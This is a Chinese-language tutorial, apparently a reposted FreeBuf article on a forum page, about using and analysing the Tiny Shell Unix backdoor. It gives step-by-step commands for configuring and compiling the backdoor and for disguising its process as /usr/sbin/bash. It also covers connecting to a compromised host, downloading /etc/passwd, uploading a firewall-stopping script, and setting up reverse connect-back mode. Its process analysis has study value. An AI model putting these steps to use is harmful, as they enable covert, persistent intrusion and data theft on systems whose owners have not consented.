搜索

[11517] 2017-06-30_短小精干的Unix类后门Tinyshell的使用与分析

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-18
2017-06-30_短小精干的Unix类后门Tinyshell的使用与分析 短 小 精 干 的 U n i x 类 后 门 T i n y   s h e l l 的 使 用 与 分 析 原 创   d a p z x b 4 1 6 9 3   F r e e B u f   2 0 1 7 - 0 6 - 3 0 * 本 文 原 创 作 者 ： d a p z x b 4 1 6 9 3 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 0 x 0 0 .   简 介 简 介 T i n y   S h e l l   是 一 款 开 源 的 U n i x 类 后 门 s h e l l 工 具 ， 由 C 语 言 编 写 ， 体 积 小 （ 在 k a l i 系 统 上 编 译 后 只 有 5 5 K 大 小 ) 分 为 客 户 端 和 服 务 端 ， 支 持 正 向 连 接 模 式 （ 即 服 务 端 在 远 程 运 行 ， h a c k e r 远 程 直 接 链 接 ） ， 和 反 弹 连 接 模 式 （ h a c k e r 在 自 己 服 务 器 监 听 ， 服 务 端 链 接 h a c k e r 监 听 端 口 ） 功 能 ： 通 信 加 密 支 持 上 传 、 下 载 、 直 接 反 弹 s h e l l 下 载 地 址 ： < 点 击 阅 读 原 文 查 看 链 接 > h t t p s : / / g i t h u b . c o m / o r a n g e t w / t s h 具 体 使 用 与 分 析 见 下 文 0 x 0 1 .   使 用 与 分 析 使 用 与 分 析 源 码 很 少 ， 非 常 精 简 一 、 正 向 连 接 模 式 使 用 与 分 析 一 、 正 向 连 接 模 式 使 用 与 分 析 I 、 编 译 前 ， 你 需 要 做 以 下 设 置 、 编 译 前 ， 你 需 要 做 以 下 设 置 1 .   修 改 t s h . h 中 的 s e c r e t 的 值 s e c r e t   的 值 用 于 加 密   控 制 端 和 被 控 端 之 间 通 信 的 数 据 和 后 门 的 所 有 的 通 信 信 息 都 会 被 A E S 加 密
编 译 之 后 ， 客 户 端 和 服 务 端 都 会 硬 编 码 这 个 s e c r e t ， 用 于 解 密 数 据 1 .   修 改 t s h . h 中 的 S E R V E R _ P O R T 值 S E R V E R _ P O R T 是 后 门 运 行 后 监 听 的 端 口 1 .   修 改 t s h . h 中 的 F A K E _ P R O C _ N A M E 值 F A K E _ P R O C _ N A M E   是 用 于 伪 装 显 示 后 门 运 行 后 的 进 程 名 字 ， 比 如 这 里 设 置 为 / b i n / b a s h ,   那 么 后 门 运 行 后 ， 用 p s   - e f 或 者 n e t s t a t   查 看 ， 则 显 示 的 执 行 程 序 是 / b i n / b a s h   , 如 下 图 所 示 1 .   注 释 掉   如 下 两 行 代 码 这 两 行 注 用 于 设 置 反 弹 链 接 模 式 ， 下 面 再 介 绍 修 改 好 后 的 示 例 如 下 ： / / # d e f i n e   C O N N E C T _ B A C K _ H O S T " 1 0 . 1 . 1 0 0 . 3 " / / # d e f i n e   C O N N E C T _ B A C K _ D E L A Y   3 0
编 译 编 译 m a k e   后 面 跟 的 是 系 统 类 别 ， 这 里 以 l i n u x 为 例 编 译 成 功 后 ， t s h 为 客 户 端 ， t s h d 为 服 务 端 I I 、 运 行 前 的 工 作 、 运 行 前 的 工 作 1 .   执 行 以 下 命 令 u m a s k 设 置 是 为 了 运 行 后 的 后 门 s h e l l 环 境 而 设 置 ， 后 门 s h e l l 所 有 创 建 的 文 件 只 有 后 门 s h e l l 进 程 属 主 有 权 限 ， 其 他 都 没 权 限 1 .   修 改 t s h d   为 你 要 伪 装 显 示 的 进 程 名 字 这 里 修 改 成 b a s h 如 果 不 修 改 的 话 ， 直 接 运 行 后 门 进 程 ， 则 使 用 l s o f   - i : 8 0 8 0   查 看 ，   C O M M A N D 不 会 显 示 为 t s h . h 设 置 的 伪 装 的 进 程 名 字 所 以 这 里 要 修 改 一 下 可 执 行 文 件 名 字 m a k e   l i n u x u m a s k   0 7 7 ;   H O M E = / v a r / t m p m v   t s h d   b a s h
然 后 再 运 行 一 下 ， 执 行 l s o f   - i : 8 0 8 0   发 现 C O M M A N D 变 成 了 b a s h ， 这 样 迷 惑 性 会 更 大 一 些 1 .   将 后 门 文 件 移 动 至   / u s r / s b i n   ( 当 然 也 可 移 动 到 其 他 隐 秘 的 地 方 ， 这 里 以 / u s r / s b i n 举 例 ) 如 果 想 要 更 加 具 有 欺 骗 性 的 话 ， 则 需 要 把 后 门 文 件 移 动 至 / u s r / s b i n   ( 系 统 自 带 的 b a s h 位 于 / b i n / b a s h   和   / u s r / b i n / b a s h ) 如 果 不 移 动 的 话 ， 使 用 p w d x   进 程 I D   可 以 查 看 到 后 门 进 程 所 在 的 执 行 目 录 移 动 到 / u s r / s b i n 之 后 ， 再 运 行 ， 然 后 用 p w d x   查 看 显 示 在 / u s r / s b i n ，   欺 骗 性 增 加 一 些 I I I 、 运 行 使 用 、 运 行 使 用 1 .   直 接 获 取 被 控 端 s h e l l 服 务 端 运 行   （ 被 控 端 .   I P :   1 0 . 1 . 1 0 0 . 3 ，   k a l i 系 统 ） 注 注 ：   服 务 端 运 行 后 ， 其 父 进 程 P I D 是 1 ， 也 就 是 说 这 个 进 程 是 守 护 进 程 除 非 重 启 系 统 ， 或 者 手 动 关 闭 ， 否 则 一 直 存 在 （ 当 然 你 也 可 以 加 入 启 动 项 ， 或 者 加 入 任 务 计 划 中 ） 客 户 端 （ 控 制 端   1 0 . 1 . 1 0 0 . 2 ） / u s r / s b i n / b a s h
但 是 执 行 之 后 ， 没 反 应 ， 并 没 有 返 回 远 端 的 s h e l l ， 奇 怪 ， 我 未 将 t s h d 移 动 到 / u s r / s b i n 下 保 存 为 b a s h   是 没 事 的 ， 一 切 O K ， 测 试 正 常 ， 但 是 将 t s h d 移 动 到 / u s r / s b i n / b a s h   之 后 ， 客 户 端 就 链 接 不 上 ， 我 决 定 查 查 代 码 ，   查 了 一 会 儿 ， 在 t s h . c 的 2 3 6 行 找 到 了 问 题 的 原 因 这 里 直 接 调 用 系 统 命 令 b a s h ， 而 被 控 端 的 环 境 变 量 P A T H 值 为 ： / u s r / s b i n   先 于   / u s r / b i n / b a s h   和 / b i n / b a s h 找 到 b a s h 命 令   ， 于 是 我 们 知 道 我 们 执 行 了 假 的 b a s h （ 就 是 我 们 自 己 的 后 门 程 序 ） ， 所 以 这 里 解 决 办 法 就 是 修 改 源 码 ， 显 示 指 定 要 执 行 命 令 的 路 径 . / t s h   1 0 . 1 . 1 0 0 . 3 / u s r / l o c a l / j d k 1 . 8 / b i n : / u s r / l o c a l / j d k 1 . 8 / j r e / b i n : / u s r / l o c a l / j d k 1 . 8 / b i n : / u s r / l o c a l / j d k 1 . 8 / j r e / b i n : / u s r / l o c a l / s b i n : / u s r / l o c a l / b i n : / u s r / s b i n : / u s r / b i n : / s b i n : / b i n : / u s r / l o c a l / a p a c h e - a n t - 1 . 1 0 . 1 / b i n : / u s r / l o c a l / g r a d l e / b i n
重 新 编 译 执 行 ， 然 后 客 户 端 再 次 连 接 . / t s h   1 0 . 1 . 1 0 0 . 3
成 功 ， O K 2 .   下 载 文 件 除 了 可 以 直 接 连 接 上 去 外 ， 这 个 后 门 还 可 以 下 载 和 上 传 文 件 下 载 远 程 的 / e t c / p a s s w d 文 件 到 当 前 目 录 3 .   上 传 文 件 到 远 程 被 控 端 上 传 远 程 查 看 上 传 成 功 二 、 反 向 连 接 模 式 使 用 与 分 析 二 、 反 向 连 接 模 式 使 用 与 分 析 . / t s h   1 0 . 1 . 1 0 0 . 3   g e t   / e t c / p a s s w d   . . / t s h   1 0 . 1 . 1 0 0 . 3   p u t   s t o p _ f w . s h   / t m p
反 向 链 接 适 用 于 被 控 制 端 位 于 防 火 墙 后 面 ， 不 允 许 外 面 直 接 连 接 ， 这 就 需 要 被 控 端 从 里 从 外 主 动 连 接 编 译 前 的 准 备 工 作 和   编 译 正 向 连 接 模 式 类 似 ， 不 过   需 要 将 如 下 两 行 去 掉 注 释 ， 即 去 掉 / / C O N N E C T _ B A C K _ H O S T   表 示 反 向 连 接 的 主 机 （ 就 是 被 控 端 主 动 要 连 接 的 控 制 端 的 I P ） 这 里 设 置 反 向 连 接 的 主 机 是 1 0 . 1 . 1 0 0 . 3     ( k a l i   这 里 变 成 了 控 制 端 了 ) C O N N E C T _ B A C K _ D E L A Y   表 示 隔 多 久 尝 试 连 接 控 制 端 一 次   （ 被 控 端 会 一 直 不 断 循 环 ， 尝 试 连 接 控 制 端 ,   见 下 图 代 码 ， w h i l e   死 循 环 ） 位 于 被 控 端 的 后 门 运 行 之 后 ， 会 一 直 尝 试 连 接 控 制 端   （ 下 图 为 实 际 抓 包 ） 1 、 编 译 2 、 在 控 制 端 执 行 监 听 # d e f i n e   C O N N E C T _ B A C K _ H O S T     " 1 0 . 1 . 1 0 0 . 3 " # d e f i n e   C O N N E C T _ B A C K _ D E L A Y   3 0 m a k e   l i n u x . / t s h   c b
c b   表 示 反 向 监 听 模 式 将 t s h d   上 传 到 被 控 端 ， 重 命 名 为 b a s h ， 移 动 至 / u s r / s b i n / b a s h 3 、 被 控 端 执 行 后 门   ( 1 0 . 1 . 1 0 0 . 2   ) 查 看 后 门 进 程 信 息 被 控 端 进 程 也 是 守 护 进 程 ， P I D 为 3 0 8 2 大 约 3 0 秒 后 （ 这 个 等 待 时 间 可 在 编 译 时 设 置 ， 见 上 文 ） ， 被 控 端 s h e l l 就 反 弹 到 了 控 制 端 然 后 此 时 查 看 被 控 端 相 关 和 后 门 相 关 进 程 信 息 ： 其 中   - b a s h   是 真 实 的 b a s h 进 程 这 里 的 P I D 为 3 0 8 2 、 3 1 4 7 都 是 后 门 守 护 进 程 ， 伪 装 成 了 ’ / b i n / b a s h ’ ,   P I D 为 3 1 4 8 的 进 程 是 后 门 守 护 进 程 执 行 系 统 命 令 e x e c   / b i n / b a s h   — l o g i n   反 弹 出 来 的 s h e l l 进 程 解 释 一 下 反 弹 s h e l l 之 后 ， 这 里 为 什 么 会 又 出 现 一 个 守 护 进 程 （ 也 就 是 p i d 为 3 1 4 7 的 进 程 ） 回 到 最 开 始 执 行 后 门   / u s r / s b i n / b a s h / u s r / s b i n / b a s h
执 行 之 后 ， 主 进 程 会 f o r k 一 个 子 进 程 （ 上 面 已 经 提 到 ） ， 父 进 程 退 出 ， 这 样 f o r k 出 来 的 子 进 程 就 会 成 为 孤 儿 进 程 被 i n i t 托 管 （ 也 就 是 p i d 为 3 0 4 8 的 进 程 ） 当 P I D   为 3 0 4 8 的 这 个 进 程 成 功 连 接 上 控 制 端 监 听 的 端 口 之 后 ， 则 又 f o r k 一 个 进 程 用 （ 姑 且 称 之 为 子 进 程 2 ） 于 处 理 建 立 好 的 连 接 ( t s h d . c 代 码   2 1 1 行 开 始 ) 子 进 程 2   又 会 新 f o r k 一 个 子 进 程 （ 称 之 为 子 进 程 3 ） ， 然 后 子 进 程 2 退 出 ， 子 进 程 3 成 为 孤 儿 进 程 ， 被 i n i t 托 管 ， 成 为 守 护 进 程 ， 子 进 程 3 是 真 正 用 户 处 理 连 接 后 的 交 互 0 x 0 2 .   总 结 总 结 总 的 来 说 ， T i n y   s h e l l   是 一 款 非 常 不 错 的 后 门 ， 体 积 小 ， 功 能 够 用 ， 而 且 通 信 加 密 ， 源 码 也 不 是 很 复 杂 ， 大 家 有 空 可 自 行 研 究 。 * 本 文 原 创 作 者 ： d a p z x b 4 1 6 9 3 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理